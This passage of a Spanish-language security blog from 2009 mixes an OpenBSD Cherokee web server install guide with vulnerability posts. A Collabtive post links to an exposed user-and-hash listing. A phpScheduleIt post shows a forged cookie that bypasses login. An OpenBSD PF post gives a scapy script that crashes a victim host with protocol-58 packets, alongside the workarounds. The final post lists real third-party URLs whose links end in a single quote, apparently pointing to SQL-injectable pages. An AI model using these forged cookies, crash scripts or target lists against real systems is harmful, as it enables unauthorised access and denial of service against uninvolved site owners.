italic;">cherokee_flags</span> y </span><span style="font-size:100%;"><span style="color: rgb(255, 102, 0); font-style: italic;">cherokee-admin_flags</span>.</span><br /><span style="font-size:100%;"><br /></span><span style="font-size:100%;">El siguiente paso es agregar al archivo <span style="font-weight: bold; font-style: italic;">/etc/rc.conf.local</span> las variables que determinan el arranque.</span><br /><blockquote><span style="color: rgb(51, 51, 255);"><span style="font-size:85%;"><br /></span></span><span style="font-size:85%;"><span style="color: rgb(51, 51, 255);"> cherokee_flags="-d" # use -d to run in daemon mode</span><br /><span style="color: rgb(51, 51, 255);">cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces</span><br /></span></blockquote>Si las dejas así como estan, cherokee iniciará, pero no cargará su interfaz de configuración, esta es la opción RECOMENDADA.<br /><br /><span style="color: rgb(255, 0, 0);">NOTA: Se dió cuenta del cambio de la palabra <span style="font-style: italic;">guardian</span> por <span style="font-style: italic;">worker</span>?, esto es porque en el paquete de instalación aún no he corregido algunas cosas, entonces tenga en cuenta que para subir cherokee no debe usar el comando <span style="font-style: italic;">cherokee-guardian</span> sino <span style="font-style: italic;">cherokee-worker</span>.</span><br /><br /><span style="font-size:180%;">3.</span> Ahora solo nos queda probar entrando a la IP de la maquina que tiene el servicio instalado.<br /><br /><br /></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/Sg4-eo5JhlI/AAAAAAAABBg/Ii6tVRpyhn4/s1600-h/Imagen+7.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/Sg4-eo5JhlI/AAAAAAAABBg/Ii6tVRpyhn4/s400/Imagen+7.png" alt="" id="BLOGGER_PHOTO_ID_5336271304574731858" border="0" /></a><span style="font-weight: bold;font-size:85%;" > Fig 1. Página de bienvenida de cherokee</span><br /></div><div style="text-align: justify;"><br />Bien, ahora teniendo cherokee instalado seguro va a querer probar la interfaz de configuración, para esto es necesario instalar otro paquete adicional, puesto que toda la interfaz esta programada en python. Si ya tienes python en tu sistema, no será necesario este paso.<br /><br /><div style="text-align: left;"><span style="font-size:85%;"><span style="font-weight: bold;"># pkg_add -v ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz</span><br />parsing ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz<br />Dependencies for python-2.5.4 resolve to: sqlite3-3.6.10, bzip2-1.0.5 (todo: bzip2-1.0.5,sqlite3-3.6.10)<br />python-2.5.4:parsing bzip2-1.0.5<br />found libspec c.50.1 in /usr/lib<br />python-2.5.4:bzip2-1.0.5: complete<br />python-2.5.4:parsing sqlite3-3.6.10<br />found libspec c.50.1 in /usr/lib<br />found libspec ncurses.10.0 in /usr/lib<br />found libspec pthread.11.1 in /usr/lib<br />found libspec readline.3.0 in /usr/lib<br />python-2.5.4:sqlite3-3.6.10: complete<br />found libspec bz2.10.4 in package bzip2-1.0.5<br />found libspec c.50.1 in /usr/lib<br />found libspec crypto.17.0 in /usr/lib<br />found libspec expat.9.0 in /usr/lib<br />found libspec m.5.0 in /usr/lib<br />found libspec ncurses.10.0 in /usr/lib<br />found libspec ossaudio.3.1 in /usr/lib<br />found libspec panel.3.0 in /usr/lib<br />found libspec pthread.11.1 in /usr/lib<br />found libspec readline.3.0 in /usr/lib<br />found libspec sqlite3.13.0 in package sqlite3-3.6.10<br />found libspec ssl.14.0 in /usr/lib<br />found libspec stdc++.47.0 in /usr/lib<br />found libspec util.11.0 in /usr/lib<br />found libspec z.4.1 in /usr/lib<br />python-2.5.4: complete<br />--- python-2.5.4 -------------------<br />If you want to use this package as your default system python, as root<br />create symbolic links like so (overwriting any previous default):<br />ln -sf /usr/local/bin/python2.5 /usr/local/bin/python<br />ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config<br />ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc<br /></span><span style="font-weight: bold;font-size:85%;" ># ln -sf /usr/local/bin/python2.5 /usr/local/bin/python</span><span style="font-size:85%;"><br /></span><span style="font-weight: bold;font-size:85%;" ># ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config</span><span style="font-size:85%;"><br /></span><span style="font-weight: bold;font-size:85%;" ># ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc</span><span style="font-size:85%;"><br /></span></div><br />Instalamos el paquete desde el repositorio oficial y luego creamos los enlaces simbolicos que nos sugieren. Despues de esto ya podemos habilitar la interfaz de configuración, para esto ejecutamos el siguiente comando:<br /><br /><span style="font-weight: bold;"></span><blockquote><span style="font-weight: bold;"># cherokee-admin -b<br /><br /></span>Login:<br />User: admin<br />One-time Password: <span style="color: rgb(255, 102, 0);">4X8VkNyPAjYpW7op</span><br /><br />Web Interface:<br />URL: http://localhost:9090/<br /><br />Cherokee Web Server 0.99.15 (May 15 2009): <span style="color: rgb(0, 102, 0);">Listening on port ALL:9090</span>, TLS<br />disabled, IPv6 disabled, using poll, 128 fds system limit, max. 57<br />connections, caching I/O, single thread</blockquote>Vas a observar que el cherokee nos da información acerca de la contraseña que necesitaremos para ingresar al sistema, copia esta contraseña y usala cuando entres al sitio web.<br /><br /></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg4_xKXEfLI/AAAAAAAABBo/ZAzL5WGWy8I/s1600-h/Imagen+9.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 207px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg4_xKXEfLI/AAAAAAAABBo/ZAzL5WGWy8I/s400/Imagen+9.png" alt="" id="BLOGGER_PHOTO_ID_5336272722307873970" border="0" /></a><span style="font-weight: bold;font-size:85%;" >Fig 2. Ingreso a la interfaz de configuración de cherokee</span><br /></div><div style="text-align: justify;"><br />Puede ser que al intentar entrar en la interfaz de administración obtengas este error:<br /><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/Sg5AGbOa9GI/AAAAAAAABBw/lcoWint6wSk/s1600-h/Imagen+10.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 388px; height: 132px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/Sg5AGbOa9GI/AAAAAAAABBw/lcoWint6wSk/s400/Imagen+10.png" alt="" id="BLOGGER_PHOTO_ID_5336273087612253282" border="0" /></a>Este error se presenta cuando no tenemos python instalado en el sistema o no hemos creado adecuadamente los enlaces simbolicos que nos sugieren.<span style="font-weight: bold;"> </span><span>Por el contrario, </span><span>si todo marcha bien, veremos algo así:</span><span style="font-weight: bold;"><br /><br /></span><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg5AsU23khI/AAAAAAAABB4/s7lmjCKXTgU/s1600-h/Imagen+11.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 227px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg5AsU23khI/AAAAAAAABB4/s7lmjCKXTgU/s400/Imagen+11.png" alt="" id="BLOGGER_PHOTO_ID_5336273738737881618" border="0" /></a><span style="font-weight: bold;font-size:85%;" >Fig 3. Interfaz de configuración de cherokee</span><br /></div><br />Todos los cambios realizados en la interfaz web se verán reflejados en el archivo <span style="font-weight: bold; font-style: italic;">/etc/cherokee/cherokee.conf</span>, tambien recuerda que para agregar contenido a tu sitio web puedes usar el directorio<span style="font-weight: bold; font-style: italic;"> /var/cherokee</span> mas conocido como el "DocumentRoot".<br /><br />Y bueno para terminar, si requieres usar alguno de los complementos de cherokee, por ejemplo el validador de mysql o ldap puedes instalar los paquetes adicionales, por ejemplo, para instalar el soporte de autenticación contra un servidor LDAP, puedes instalar el paquete así:<br /><span style="font-size:85%;"><br /></span><div style="text-align: left;"><span style="font-size:85%;"><span style="font-weight: bold;"># pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz</span><br /></span><span style="font-size:85%;">parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz<br /></span><span style="font-size:85%;">Dependencies for cherokee-ldap-0.99.15 resolve to: openldap-client-2.3.43, cherokee-0.99.15 (todo: openldap-client-2.3.43)<br /></span><span style="font-size:85%;">cherokee-ldap-0.99.15:parsing openldap-client-2.3.43<br /></span><span style="font-size:85%;">Dependencies for openldap-client-2.3.43 resolve to: cyrus-sasl-2.1.22p4 (todo: cyrus-sasl-2.1.22p4)<br /></span><span style="font-size:85%;">cherokee-ldap-0.99.15:parsing cyrus-sasl-2.1.22p4<br /></span><span style="font-size:85%;">found libspec asn1.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec c.50.1 in /usr/lib<br /></span><span style="font-size:85%;">found libspec com_err.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec crypto.17.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec gssapi.5.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec krb5.16.0 in /usr/lib<br /></span><span style="font-size:85%;">cherokee-ldap-0.99.15:cyrus-sasl-2.1.22p4: complete<br /></span><span style="font-size:85%;">found libspec asn1.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec c.50.1 in /usr/lib<br /></span><span style="font-size:85%;">found libspec com_err.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec crypto.17.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec gssapi.5.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec krb5.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4<br /></span><span style="font-size:85%;">found libspec ssl.14.0 in /usr/lib<br /></span><span style="font-size:85%;">installed /etc/openldap/ldap.conf from /usr/local/share/examples/openldap/ldap.conf******************************************************************** | 82%<br /></span><span style="font-size:85%;">cherokee-ldap-0.99.15:openldap-client-2.3.43: complete<br /></span><span style="font-size:85%;">found libspec asn1.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec com_err.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec crypto.17.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec gssapi.5.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec krb5.16.0 in /usr/lib<br /></span><span style="font-size:85%;">found libspec lber.9.1 in package openldap-client-2.3.43<br /></span><span style="font-size:85%;">found libspec ldap.9.1 in package openldap-client-2.3.43<br /></span><span style="font-size:85%;">found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4<br /></span><span style="font-size:85%;">found libspec ssl.14.0 in /usr/lib<br /></span><span style="font-size:85%;">cherokee-ldap-0.99.15: complete<br /></span><span style="font-size:85%;">#<br /></span></div><br />Eso es todo, dudas, sugerencias en los comentarios.<br /><br />Buena energia para el proyecto cherokee y larga vida a OpenBSD !<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-1949135750074840245?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-29499426895062321842009-05-13T19:47:00.005-05:002009-05-15T09:57:59.254-05:00Bug and Exploit for Collabtive<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SgtqLletbqI/AAAAAAAABAo/5xUVrZOD8qY/s1600-h/colab.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 206px; height: 73px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SgtqLletbqI/AAAAAAAABAo/5xUVrZOD8qY/s400/colab.png" alt="" id="BLOGGER_PHOTO_ID_5335474930822508194" border="0" /></a><br /><div style="text-align: justify;">Existe un proyecto llamado <a href="http://collabtive.o-dyn.de/about.php">collabtive</a> que nos permite gestionar proyectos, el soft es bonito y tiene algunas <a href="http://collabtive.o-dyn.de/about.php?slide=2">features interesantes</a>. Como lo estoy usando y segun la politica interna (mia) <span style="font-weight: bold;">#456</span> que dice: <span style="font-style: italic;">"Debes auditar todo el código de los proyectos que uses ...",</span> decidí darle un chequeo a la aplicación en el sistema de validación y encontre que todo estaba bien!, deprimido por no haber encontrado nada, decidí comerme un manimoto® y abrir un enlace al archivo API y bueno, ya conocen el resto ...<br /><br />El bug fué informado, sin embargo puede que los desarrolladores no consideren importante que se puedan ver los usuarios y hashes <a href="http://es.wikipedia.org/wiki/MD5">MD5</a> de la BD que usa el soft.<br /><br />En fin, la moraleja es que los archivos que no estan ligados directamente a la autenticación o el manejo de sesiones, deben estar igual de protegidos contra posibles entradas inesperadas.<br /><br />Queda como tarea de johana explicar el error en la llamada de la API.<br /><br />Saludos.<br /><br />pd: AHH!, quieren ver la salida?: <a href="http://collabtive.o-dyn.de/demo/api.php?action=user.list.get">click here</a>.<br /><br />pd2: Por favor no usen <a href="http://www.md5crack.com/">ESTE</a> sitio para romper el MD5, no les va a funcionar.<br /><br />pd3: En guindows no funciona el bug de la misma forma, pero es posible explotarlo, porque?, porque?<br /><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-2949942689506232184?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-28325145864067680292009-04-15T00:08:00.004-05:002009-04-16T11:50:33.653-05:00Bug and Exploit<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SeVv5SbQ4kI/AAAAAAAAA8Q/uRKehuhmsdQ/s1600-h/logo.gif"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 170px; height: 40px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SeVv5SbQ4kI/AAAAAAAAA8Q/uRKehuhmsdQ/s400/logo.gif" alt="" id="BLOGGER_PHOTO_ID_5324785164424897090" border="0" /></a><br />Uhmmm supongamos que cuando intentamos abrir una aplicación nos pide un típico cuadro de LOGIN, PASSWORD para loguearnos.<br /><br />Supongamos que el código de la validación es algo como:<br /><br /><blockquote style="color: rgb(255, 0, 0);">// Logging user out<br />if (isset($_GET['logout'])) {<br /> $auth->doLogout();<br />}<br />else if ($_SERVER['REQUEST_METHOD'] === 'POST') {<br /> $msg = $auth->doLogin($_POST['email'], $_POST['password'], (isset($_POST['setCookie']) ? 'y' : null), false, $resume, $_POST['language']);<br />}<br />else if (isset($_COOKIE['ID'])) {<br /> $msg = $auth->doLogin('', '', 'y', $_COOKIE['ID'], $resume); // Check if user has cookies set up. If so, log them in automatically<br />}<br /></blockquote>Esto nos indicaria que si no es posible validarse de la forma normal, podemos usar una cookie, que generalmente recuerda nuestra sesión y evita que nos logueemos cada vez que abrimos una página del mismo software. En dicho caso la COOKIE se llamaria ID.<br /><br />Supongamos que tenemos un código que valida la cookie:<br /><blockquote style="color: rgb(255, 0, 0);"><br />if ($isCookie !== false) { // Cookie is set<br /> $cookieValue = $isCookie;<br /><br /> if ( ($id = $this->verifyCookie($cookieValue)) !== false) {<br /> $ok_user = $ok_pass = true;<br /> }</blockquote>En el caso hipotetico (patetico?), se validaria la cookie si existe con una función llamada verifyCookie.<br /><br />Supongamos que esa función es algo como:<br /><blockquote style="color: rgb(255, 0, 0);"><br />function verifyCookie($cookieValue)<br /> {<br /> $parts = explode('|', $cookieValue);<br /> if (count($parts) != 2) {<br /> return false;<br /> }<br /><br /> $memberid = $parts[0];<br /> if ( $cookieValue == $this->generateCookie($memberid) ) {<br /> return $memberid;<br /> }<br /> else<br /> {<br /> return false;<br /> }<br /> }</blockquote>Eso me diria algo como que lo que viene en la cookie (ID), debe tener dos partes y la cookie completa deberia ser igual al resultado de la función generateCookie.<br /><br />Supongamos que la función generateCookie() tiene el siguiente código:<br /><br /><blockquote style="color: rgb(255, 0, 0);"> function generateCookie($memberid)<br /> {<br /> $passwordhash = $this->db->getPassword($memberid);<br /> $cookiehash = md5($memberid . substr($passwordhash, 1, strlen($passwordhash) -5) );<br /><br /> return $memberid.'|'.$cookiehash;<br /> }<br /></blockquote>Esto me diria que basado en el primer campo de la cookie voy a generar un MD5 de no se que y no se que, de un hash que obtuve con el usuario.<br /><br /><div style="text-align: center;"><span style="font-weight: bold;">¿ PERO SE VALIDA EL USUARIO?</span><br /><div style="text-align: left;"><br />Supongamos que el usuario no se valida, entonces la deducción me lleva a concluir que puedo generar una cookie a mi antojo que cumpla con lo que la función quiere ver.<br />Que tal si la COOKIE[ID] tiene un valor como:<br /><br /><div style="text-align: center;"><span style="font-weight: bold;">astrideliana|a1c6dbe433e08708f7f0e3e2c5a26fed</span><br /></div><br />Supongamos que usamos <a href="https://addons.mozilla.org/es-ES/firefox/addon/573">una herramienta para configurar esta cookie en nuestro navegador</a> y luego entramos al sitio inicial donde nos piden el usuario y la clave.<br /><br />Supongamos que nos logueamos sin necesidad de ingresar un usuario/clave validos.<br /><br />Supongamos que ese software se llama:<a href="http://php.brickhost.com/"> phpScheduleIt</a>.<br /><br />Supongamos que hay un dicho en la seguridad que dice:<br /><br />"Cuando un usuario tenga la posibilidad de manipular los datos que ingresan a un sistema de validación y este no haga bien su trabajo, el usuario podrá hacer lo que quiera, puesto que la seguridad depende exclusivamente del conocimiento de ese usuario."<br /><br />Este dicho, obviamente no existe, pero me gusta inventar.<br /><br /><span style="font-style: italic;">Recomendación: Nunca, por ningun motivo permita que un usuario manipule mas de lo debido sus datos de entrada,<a href="http://www.papajaime.com/portal/"> y sobre todo nunca, pero nunca, dejen de soñar</a>.</span><br /><br />Post dedicado a [SU]KARITAS ;)<br /><br /></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-2832514586406768029?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com2tag:blogger.com,1999:blog-6456964801927997186.post-59072150333641228712009-04-13T16:12:00.006-05:002009-04-14T07:15:51.102-05:00Bug and Exploit for Packet Filter<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SeOuGj9TGxI/AAAAAAAAA8I/k36FDkpi87o/s1600-h/NANDOPF.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 240px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SeOuGj9TGxI/AAAAAAAAA8I/k36FDkpi87o/s400/NANDOPF.JPG" alt="" id="BLOGGER_PHOTO_ID_5324290612236851986" border="0" /></a><br /><div style="text-align: justify;">Hace algunos días <a href="http://www.openbsd.org/errata45.html">se publico un parche </a>para las últimas versiones de <a href="http://www.openbsd.org/">OpenBSD</a>, relacionado con <a href="http://nonroot.blogspot.com/2009/03/about-packet-filter.html">Packet Filter</a>. El problema si bien es muy simple es algo que nos pone a reflexionar sobre el mundo de la seguridad. Realmente queria hacer un post acerca de la seguridad en todos los aspectos, pero ya me dió pereza y me dió rabia que al tratar de encontrar información sobre los bugs de OpenBSD nadie explicara como funciona, aunque mi intención solo fuera aprender.<br /><br />Y así pasa muchas veces, se anuncian los parches de seguridad, se arreglan (fix) los CVS, pero nadie dice nada, quizas por no alarmar, pero y los que queremos aprender un poco mas?, donde queda la comunidad de la seguridad?, la que no es la industria de la seguridad informática, ($$$$) sino los que quieren hacer investigación y entender bugs y exploits?<br /><br />Ahggr!!!<br /><br />Bueno, <a href="http://www.securitytracker.com/alerts/2009/Apr/1022032.html">el bug de pf consiste </a>en un paquete que no es capaz de manipular cuando pasa por medio de reglas NAT o RDR, <a href="http://helith.net/txt/openbsd_4.3-current_pf_null_pointer_dereference_kernel_panic.txt">en el reporte de seguridad </a>dicen que se trata del manejo de un paquete IP relacionado con ICMPV6, lo que hice entonces fue lo siguiente:<br /><br />1. Tratar de encontrar mas información en la lista misc@ de OpenBSD sin mucho éxito.<br /><br />2. Leer el post oficial de la persona que encontro el Bug, de ahi se concluye que el bug se reproduce cuando se usa NMAP con la opción <span style="font-style: italic;">-sO.</span><br /><br />3. Leer el manual de NMAP para entender que hace la opción <span style="font-style: italic;">-sO</span>, concluyendo que el chequeo que realiza es un cambio del campo de protocolo en el encabezado IP, para averiguar cuales estan disponibles en el sistema que se esta escaneando.<br /><br />4. Buscar la opción mas rápida para simular lo que hace el NMAP, pero al hacer pruebas, me encuentro con que NMAP randomiza los protocolos y por lo tanto no se cuando hace el panic.<br /><br />5. Pongo un sniffer del otro lado (IP destino) y analizo cual es el último paquete antes de que se caiga el sistema.<br /><br />6. Lo que hago a continuación es crear un pequeño script en python usando la <a href="http://www.secdev.org/projects/scapy/">libreria scapy </a>e intentar un barrido cambiando el protocolo de los paquetes IP.<br /><br />7. Al encontrar el protocolo "mágico", que obviamente seria el ICMPV6, arreglo el script para que solo envíe un paquete con el encabezado modificado a 58, donde <a href="http://www.networksorcery.com/enp/protocol/ip.htm">58 es el código del protocolo</a>.<br /><br />8. PLUMP!, al suelo OpenBSD :(<br /><br />9. Sigo triste por este tipo de bugs tan tontos, que pasan desapercibidos, pero que confirman la ley universal: <span style="font-weight: bold;">El código esta hecho por humanos, es vulnerable!.</span><br />(esta ley universal la estoy inventando)<br /><br />Despues de ese analisis me quedan muchas dudas, me queda la duda de que pasa con todas las implementaciones de PF en otros Sistemas Operativos, por ejemplo <a href="http://www.freebsd.org/">FreeBSD</a>, <span style="font-style: italic;">NetBSD, DragonFly</span> y las distribuciones basadas en estos, por ejemplo el <a href="http://nonroot.blogspot.com/search/label/pfsense">Firewall PFsense </a>o el mismo ComixWall. Porque en los arboles CVS oficiales de estos proyectos no hay cambios?, porque si NetBSD tiene como último import el sistema BASE 4_4 de OpenBSD no ha parchado el PF?<br />Etc, etc.<br /><br />Es posible que cualquier implementación de firewall basada en PF sea vulnerable, entonces hice un chequeo de los workarounds recomendados por los desarrolladores y SI funcionan (o que esperaban?) entonces mientras sale un parche para lo que sea que este usando, modifique sus reglas para que usen explicitamente el <span style="font-style: italic;">inet</span> o el <span style="font-style: italic;">inet6</span>, de esa forma no será vulnerable.<br /><br />A continuación el código para crashear un OpenBSD con reglas nat o rdr básicas:<br /></div><blockquote style="color: rgb(255, 0, 0);"><br />bash-3.2# cat exploit_pf.py<br />import sys<br />from scapy import *<br />victim=sys.argv[1]<br />icmpv6=58<br />p=IP(dst=victim)<br />p.proto=icmpv6<br />sr(p,timeout=1)<br />bash-3.2# </blockquote><div style="text-align: justify;">Esto lo que hace es enviar un paquete al host victima, obviamente OpenBSD debe estar en la mitad. Para mas información lea sobre scapy o impacket y lea el reporte de seguridad.<br /><br />Las reglas que usé para testear desde adentro y desde afuera son:<br /></div><br /><blockquote style="color: rgb(51, 102, 255);">externa="rl0"<br />interna="sis0"<br /><br />nat log on $externa from !{$externa} to any -> ($externa)<br />rdr log on $externa from any to any -> 172.16.20.2</blockquote><div style="text-align: justify;">Donde 172.16.20.2 es el host destino para el envío del paquete, osea el que esta dentro de la LAN. Con las dos reglas el openBSD hace crash, sea desde la LAN --> WAN o desde la WAN --> LAN.<br /><br />La forma de evitar este ataque es parchando el PF y recompilando el núcleo o con el workaround:<br /></div><blockquote><br /><span style="color: rgb(0, 153, 0);">externa="rl0"</span><br /><span style="color: rgb(0, 153, 0);"> interna="sis0"</span><br /><br /><span style="color: rgb(0, 153, 0);"> nat log on $externa inet proto {icmp tcp udp} from !{$externa} to any -> ($externa)</span><br /><span style="color: rgb(0, 153, 0);"> rdr log on $externa inet proto {icmp tcp udp} from any to any -> 172.16.20.2</span></blockquote>bueno eso es todo, despues seguimos charlando ...<br /><br />AAAgggrrr!!!<br /><br /><a style="color: rgb(255, 0, 0);" href="http://en.roolz.org/Blog/Entries/2009/4/13_OpenBSD_ping_of_death.html">Update: respondio un usuario de la lista misc@, la solucion suya fue modificando el codigo de ping.c.</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-5907215033364122871?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com5tag:blogger.com,1999:blog-6456964801927997186.post-32924527263214813592009-03-31T19:13:00.010-05:002009-03-31T19:21:24.059-05:00About Packet Filter<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.openbsdcolombia.org/imagenes/Gateway2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 350px; height: 100px;" src="http://www.openbsdcolombia.org/imagenes/Gateway2.png" alt="" border="0" /></a><br /><br />Los amigos de <a href="http://www.openbsdcolombia.org/">OpenBSDColombia</a> han creado un par de manuales muy instructivos acerca de como usar <a href="http://es.wikipedia.org/wiki/PF_%28software%29">PacketFilter</a> para crear un firewall en el sistema operativo <a href="http://www.openbsd.org/">OpenBSD</a>.<br /><br />Le agradezco a esta comunidad por permitirme tener la primicia de la noticia.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3292452726321481359?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-20768065241109910052009-03-15T19:24:00.004-05:002009-03-15T19:26:12.219-05:00RIP 2 on OpenBSD 4.4<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sb2cSL2RhdI/AAAAAAAAA7I/erngrF70ekE/s1600-h/RIP2.jpeg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 238px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sb2cSL2RhdI/AAAAAAAAA7I/erngrF70ekE/s400/RIP2.jpeg" alt="" id="BLOGGER_PHOTO_ID_5313574971599062482" border="0" /></a>Los amigos de OpenBSD han generado un nuevo manual sobre como configurar OpenBSD como un enrutador RIP 2, si quieren leer mas sobre el tema, bajen el documento:<br /><br /><a href="http://groups.google.com.co/group/OpenBSD-Colombia/files">http://groups.google.com.co/group/OpenBSD-Colombia/files</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-2076806524110991005?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-1610157995422015912009-02-17T22:54:00.023-05:002009-04-16T11:39:28.574-05:00Interesting sites<div style="text-align: justify;"><span style="font-weight: bold;">Estos sitios me parecieron interesantes, sin embargo aveces se producen errores al intentar entrar, aún no se porque. Si tienes suerte espero que te funcionen.</span><br /></div><br /><div style="text-align: left;">(<span style="color: rgb(255, 0, 0);">actualizado permanentemente</span>)<br /></div><br /><ul><li><a href="http://www.paniagua.net/net/soft.asp?id=19%27">http://www.paniagua.net/net/soft.asp?id=19</a></li><li><a href="http://www.radioactiva.com/t_uvoto.asp?id=15635%27">http://www.radioactiva.com/t_uvoto.asp?id=15635</a></li><li><a href="http://www.economizadores.net/popup_producto.php?ID_productos=65%27">http://www.economizadores.net/popup_producto.php?ID_productos=65</a></li><li><a href="http://certificadoscolombia.com/Connections/certi.php">http://certificadoscolombia.com/Connections/certi.php<span style="display: block;" id="formatbar_Buttons"><span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"><img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /></span></span></a></li><li><a href="http://www.incolmotos-yamaha.com.co/incolmotos/var/">http://www.incolmotos-yamaha.com.co/incolmotos/var/</a></li><li><a href="http://www.liberum.org/demo/rep/details.asp?id=13%27">http://www.liberum.org/demo/rep/details.asp?id=13<span style="display: block;" id="formatbar_Buttons"><span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"><img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /></span></span></a></li><li><a href="http://www.calipso.com.co/noticia.php3?nt=11%27">http://www.calipso.com.co/noticia.php3?nt=11</a></li><li><a href="http://www.elcolombiano.com/interiorcine.asp?idPelicula=22%27">http://www.elcolombiano.com/interiorcine.asp?idPelicula=22</a></li><li><a href="http://www.becas.com/vbeca.php?idbeca=3051%27">http://www.becas.com/vbeca.php?idbeca=3051</a></li><li><a href="http://www.fundacionredcolsi.org/ampliarevento.php?idevento=2%27">http://www.fundacionredcolsi.org/ampliarevento.php?idevento=223</a></li><li><a 